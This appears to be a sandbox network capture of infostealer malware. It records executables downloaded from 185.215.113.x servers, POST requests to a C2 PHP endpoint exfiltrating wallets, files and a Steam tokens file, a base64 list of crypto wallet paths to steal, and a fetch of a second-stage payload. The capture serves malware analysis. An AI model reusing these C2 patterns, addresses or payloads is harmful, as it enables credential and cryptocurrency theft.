Dec 19, 2024 07:57:27.574642897 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 06:57:27 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Dec 19, 2024 07:57:28.266230106 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIIEGDBAEBFIIDHJJJEB Host: 185.215.113.206 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Dec 19, 2024 07:57:29.231080055 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 06:57:28 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 19, 2024 07:57:29.314465046 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAKEBFCFIJJKKECAKJEH Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 41 4b 45 42 46 43 46 49 4a 4a 4b 4b 45 43 41 4b 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 33 32 62 61 39 30 64 37 65 64 62 30 62 64 35 35 62 39 32 62 65 35 32 32 64 32 65 66 37 35 64 32 34 33 61 34 66 64 65 34 38 32 32 61 32 34 39 36 64 30 38 37 65 32 34 61 30 62 39 61 61 64 37 32 62 63 37 61 37 33 38 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 45 42 46 43 46 49 4a 4a 4b 4b 45 43 41 4b 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 45 42 46 43 46 49 4a 4a 4b 4b 45 43 41 4b 4a 45 48 2d 2d 0d 0a Data Ascii: ------CAKEBFCFIJJKKECAKJEHContent-Disposition: form-data; name="token"232ba90d7edb0bd55b92be522d2ef75d243a4fde4822a2496d087e24a0b9aad72bc7a738------CAKEBFCFIJJKKECAKJEHContent-Disposition: form-data; name="message"wallets------CAKEBFCFIJJKKECAKJEH--
Dec 19, 2024 07:57:29.755388975 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 06:57:29 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Dec 19, 2024 07:57:29.758039951 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGCFHDAKECFIDGDGDBKJ Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 43 46 48 44 41 4b 45 43 46 49 44 47 44 47 44 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 33 32 62 61 39 30 64 37 65 64 62 30 62 64 35 35 62 39 32 62 65 35 32 32 64 32 65 66 37 35 64 32 34 33 61 34 66 64 65 34 38 32 32 61 32 34 39 36 64 30 38 37 65 32 34 61 30 62 39 61 61 64 37 32 62 63 37 61 37 33 38 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 46 48 44 41 4b 45 43 46 49 44 47 44 47 44 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 46 48 44 41 4b 45 43 46 49 44 47 44 47 44 42 4b 4a 2d 2d 0d 0a Data Ascii: ------EGCFHDAKECFIDGDGDBKJContent-Disposition: form-data; name="token"232ba90d7edb0bd55b92be522d2ef75d243a4fde4822a2496d087e24a0b9aad72bc7a738------EGCFHDAKECFIDGDGDBKJContent-Disposition: form-data; name="message"files------EGCFHDAKECFIDGDGDBKJ--
Dec 19, 2024 07:57:30.201011896 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 06:57:29 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 19, 2024 07:57:30.214093924 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFBFHDBKJEGHJJJKFIIJ Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 46 42 46 48 44 42 4b 4a 45 47 48 4a 4a 4a 4b 46 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 33 32 62 61 39 30 64 37 65 64 62 30 62 64 35 35 62 39 32 62 65 35 32 32 64 32 65 66 37 35 64 32 34 33 61 34 66 64 65 34 38 32 32 61 32 34 39 36 64 30 38 37 65 32 34 61 30 62 39 61 61 64 37 32 62 63 37 61 37 33 38 0d 0a 2d 2d 2d 2d 2d 2d 41 46 42 46 48 44 42 4b 4a 45 47 48 4a 4a 4a 4b 46 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 46 42 46 48 44 42 4b 4a 45 47 48 4a 4a 4a 4b 46 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------AFBFHDBKJEGHJJJKFIIJContent-Disposition: form-data; name="token"232ba90d7edb0bd55b92be522d2ef75d243a4fde4822a2496d087e24a0b9aad72bc7a738------AFBFHDBKJEGHJJJKFIIJContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------AFBFHDBKJEGHJJJKFIIJContent-Disposition: form-data; name="file"------AFBFHDBKJEGHJJJKFIIJ--
Dec 19, 2024 07:57:31.149029970 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 06:57:30 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=87 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 19, 2024 07:57:31.177447081 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGCFCFBKFCFCBGDGIEGH Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 47 43 46 43 46 42 4b 46 43 46 43 42 47 44 47 49 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 33 32 62 61 39 30 64 37 65 64 62 30 62 64 35 35 62 39 32 62 65 35 32 32 64 32 65 66 37 35 64 32 34 33 61 34 66 64 65 34 38 32 32 61 32 34 39 36 64 30 38 37 65 32 34 61 30 62 39 61 61 64 37 32 62 63 37 61 37 33 38 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 46 43 46 42 4b 46 43 46 43 42 47 44 47 49 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 46 43 46 42 4b 46 43 46 43 42 47 44 47 49 45 47 48 2d 2d 0d 0a Data Ascii: ------CGCFCFBKFCFCBGDGIEGHContent-Disposition: form-data; name="token"232ba90d7edb0bd55b92be522d2ef75d243a4fde4822a2496d087e24a0b9aad72bc7a738------CGCFCFBKFCFCBGDGIEGHContent-Disposition: form-data; name="message"ybncbhylepme------CGCFCFBKFCFCBGDGIEGH--
Dec 19, 2024 07:57:31.617727041 CET	271	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 06:57:31 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=86 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49801	185.215.113.16	80	4944	C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 07:57:31.742451906 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Dec 19, 2024 07:57:33.073389053 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 06:57:32 GMT Content-Type: application/octet-stream Content-Length: 3047424 Last-Modified: Thu, 19 Dec 2024 06:20:34 GMT Connection: keep-alive ETag: "6763bb32-2e8000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 30 32 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf02@`2.@Wk2D2 @.rsrc@.idata @sftdbligp+d+@tqdamjfv 2Z.@.taggant002"^.@
Dec 19, 2024 07:57:33.073438883 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 07:57:33.073458910 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 07:57:33.073556900 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 07:57:33.073621035 CET	1236	IN	Data Raw: 2a 9e 79 82 67 48 c9 4c 88 fd 6d 86 23 01 e8 f0 58 29 11 46 e1 5b d2 f8 75 7b ee a2 6a df e9 d5 96 a3 56 ff 97 e3 85 c2 6b e4 8d c8 f7 fa 76 ee c7 eb a9 02 3c 05 53 6d 99 ea f9 51 71 c8 e9 ec f7 5f 1d b9 0f 24 4d f6 65 a8 03 c8 b7 ea 41 b4 68 84 Data Ascii: ygHLm#X)F[u{jVkv<SmQq_$MeAhU!~PM_W\Y7GTHbFSK?sWIl{Ajb_F.D0W,Q@bKjrlw3y5ub2_xOMzuP(5Gk2
Dec 19, 2024 07:57:33.073636055 CET	1236	IN	Data Raw: fa 9f 9b 32 bb b7 39 88 5f c3 ad 03 13 34 6c 0f d8 99 05 1e 69 58 cd 8a e8 16 ea 15 f4 63 62 c2 e7 f9 21 ba b5 43 f1 80 f6 bd d5 b5 d0 df 49 92 43 78 69 ad 6d a8 ec c6 4f d9 82 75 6a cb 6d d6 97 9f ef b1 57 73 bf e8 13 ac e8 19 48 1c 0d a2 e1 7a Data Ascii: 29_4liXcb!CICximOujmWsHzLcRkN34}<J2bysi[SfUYO!("<rJ/S?S,y`MvCI`[GRuOgO^`Z{X:1'`k-
Dec 19, 2024 07:57:33.073647022 CET	744	IN	Data Raw: 7c f0 ca 2e b0 f2 cd 8c ab e4 50 44 69 fa b1 f7 12 8c 57 e2 de 6f b4 12 cb 01 9b 16 a0 e9 b1 cf bc 1a b8 d3 ab fc f6 a8 9f ca ed 96 8a 87 14 88 f9 73 cb 37 e3 dc 6b b3 a8 43 5d c8 0c 4f 17 36 e3 02 90 5b e9 87 0d 96 42 7e 91 98 af 0e cf 8c 1b bf Data Ascii: \|.PDiWos7kC]O6[B~<(n{W~DJzxahuPYsS60Sb\F5R9D`nOn\1.cJRh+M@?;TmH^MEY+y
Dec 19, 2024 07:57:33.073657990 CET	1236	IN	Data Raw: c1 ff fb 6a 23 5d 00 7d 35 7f 34 8c 64 8e 79 b6 bb 54 ca 89 c3 30 a3 ea cb f4 b1 b6 74 5c 6a 76 cd b4 68 56 8a 9e 84 84 af 8a 0e 61 3c b9 23 85 0a 24 0d b6 00 d8 94 dd 46 ed de 34 1e 75 09 09 ba d9 1c c4 cc ff 1a b2 43 e1 96 14 15 bb 1c f0 81 9c Data Ascii: j#]}54dyT0t\jvhVa<#$F4uC%54KRJv"NQ2o!!is_eXK;c<>4;O~4{[lPNPzZwXdNG/OoX! b{Qul XF>F7^X8
Dec 19, 2024 07:57:33.073846102 CET	1236	IN	Data Raw: 84 43 d6 61 cc 76 24 62 cc 26 4d 0a 06 a7 fb 02 bb f9 ff c4 4c 13 26 39 4f 66 43 d6 0e 9a d0 92 16 fe 27 a6 c3 58 89 0b 07 b5 f1 c1 f6 7e 95 b9 82 49 41 2c 7c 43 45 62 44 0d 2c f0 d0 09 13 41 61 d0 45 98 27 6b e5 e1 c6 58 ce 7d 64 98 02 90 62 6b Data Ascii: Cav$b&ML&9OfC'X~IA,\|CEbD,AaE'kX}dbkPQQW1~:hFGB#U\VQg _ZB,MxvWOg@?U=}9* 7$e/yG.3yn*d^eQdy0nn2Xb
Dec 19, 2024 07:57:33.073859930 CET	1236	IN	Data Raw: bf d9 94 92 bc 9e 01 3b 90 6f e3 ac 40 9f d1 ca 8a 4a 53 b5 67 63 52 55 e8 25 08 30 d2 5e d7 a5 a5 67 91 a2 83 03 d9 cb 57 06 0d 51 7e cf c1 a2 5a 41 ba c9 09 e7 53 5e 6e 7a 3f e5 54 1c 1b 2f a3 dd 97 f7 44 e3 22 ae af 35 0d ee c3 5d fb 90 ef 6f Data Ascii: ;o@JSgcRU%0^gWQ~ZAS^nz?T/D"5]oAFR>bQC`Dbuz?^->V@lvkFgGTeGl@P@E{QRX`5.*"kP@4$t.O1s/x
Dec 19, 2024 07:57:33.193145037 CET	1236	IN	Data Raw: 52 aa c8 3c 88 ab 29 b0 6d fc e5 81 f6 07 ca b1 86 40 62 ae 2a a2 51 e6 f8 90 25 3a 24 c7 8f 9c 93 1b af 40 fe 23 71 67 fb 11 a8 89 7a 2a 8a 42 d0 ae ad 7c 2b 41 08 50 88 3b 0d 4b b1 64 ef 66 4b fc a7 84 36 ae ae 56 90 63 54 d7 a4 58 7a ba a1 3d Data Ascii: R<)m@bQ%:$@#qgzB\|+AP;KdfK6VcTXz=P7Hw QCcUT=7DaV{U%<0v;D+T=6_rVK?yU*ar~yt)&OEF` siHm.T{ )c

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49817	185.215.113.206	80	4944	C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 07:57:38.671642065 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHJDGCBGDBKJKFHIECBA Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 48 4a 44 47 43 42 47 44 42 4b 4a 4b 46 48 49 45 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 33 32 62 61 39 30 64 37 65 64 62 30 62 64 35 35 62 39 32 62 65 35 32 32 64 32 65 66 37 35 64 32 34 33 61 34 66 64 65 34 38 32 32 61 32 34 39 36 64 30 38 37 65 32 34 61 30 62 39 61 61 64 37 32 62 63 37 61 37 33 38 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 47 43 42 47 44 42 4b 4a 4b 46 48 49 45 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 47 43 42 47 44 42 4b 4a 4b 46 48 49 45 43 42 41 2d 2d 0d 0a Data Ascii: ------EHJDGCBGDBKJKFHIECBAContent-Disposition: form-data; name="token"232ba90d7edb0bd55b92be522d2ef75d243a4fde4822a2496d087e24a0b9aad72bc7a738------EHJDGCBGDBKJKFHIECBAContent-Disposition: form-data; name="message"wkkjqaiaxkhb------EHJDGCBGDBKJKFHIECBA--
Dec 19, 2024 07:57:40.518342972 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 06:57:39 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49878	185.215.113.43	80	4020	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 07:58:05.199636936 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 19, 2024 07:58:06.546772003 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 06:58:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49885	185.215.113.43	80	4020	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 07:58:08.174649954 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 19, 2024 07:58:09.537354946 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 06:58:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 35 35 35 0d 0a 20 3c 63 3e 31 30 31 37 34 30 38 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 63 64 37 65 38 36 34 34 30 33 61 63 35 32 65 61 34 38 34 62 34 31 31 62 39 64 63 34 65 31 23 31 30 31 37 34 30 39 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 63 37 37 30 39 63 34 35 34 33 62 30 31 63 66 36 34 64 34 61 34 38 35 61 39 35 39 32 65 31 30 30 62 37 23 31 30 31 37 34 31 30 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 65 37 31 39 62 35 30 35 39 62 62 